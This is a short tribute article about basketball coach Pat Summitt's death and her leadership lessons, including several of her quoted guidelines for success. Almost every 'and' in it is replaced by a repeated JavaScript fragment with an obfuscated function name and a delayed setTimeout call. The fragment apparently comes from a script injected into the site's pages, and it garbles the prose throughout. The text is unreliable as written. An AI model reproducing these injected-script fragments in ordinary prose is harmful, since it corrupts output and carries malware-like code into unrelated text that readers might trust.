Tennessee Orange Is the New Black

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BY RACHELLE SORENSEN-COX

The wide world of sports just got a little smaller. Tennessee Lady Vols coach Pat Summitt lost her battle with dementia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we lost one of the >>best basketball coaches of all time. But Pat was more than a basketball coach; she was a pioneer, advocate, leader, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and life coach. You didn’t have to be a player on her bench to benefit from her hallmark coaching techniques andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leadership skills.

By watching Pat Summitt with her Lady Vols, you witnessed not only a great ballgame,  you learned about feminism, hard work, equality, character andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and commitment. She modeled tenacity, teamwork, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and “take your kid to work day.”

Those of us who have heard her speak left the event wanting to be a better person andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feeling confident that we could.

Here are a few of my favorite Pat Summitt quotes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and guidelines for success:

  • Treat your successes as you do your losses. Do not over celebrate or over mourn. She gave her players only 24 hours to recover from a loss or enjoy a win andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then she insisted that they move on.
  • It is harder to stay on top than to make the climb to the top. Keep moving forward. She kept beating records, usually her own, because she never settled.
  • It is what it is, but it will be what you make it. Summitt was a firm believer in the power of positive thinking. She regularly reminded her players that thoughts control actions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and actions contribute to the outcome. Be careful what you think, you just might believe it.
  • Take responsibility. Own your power, own your mistakes, own your life.

Pat was a walking, talking, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and yelling example that living by these principles can lead to some wins, some loses, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and whole lot of great lessons. Remember the old Gatorade commercials starting Michael Jordan, “Be like Mike”? Well, I think the world would be a better place if we all tried a little harder to be like Pat.




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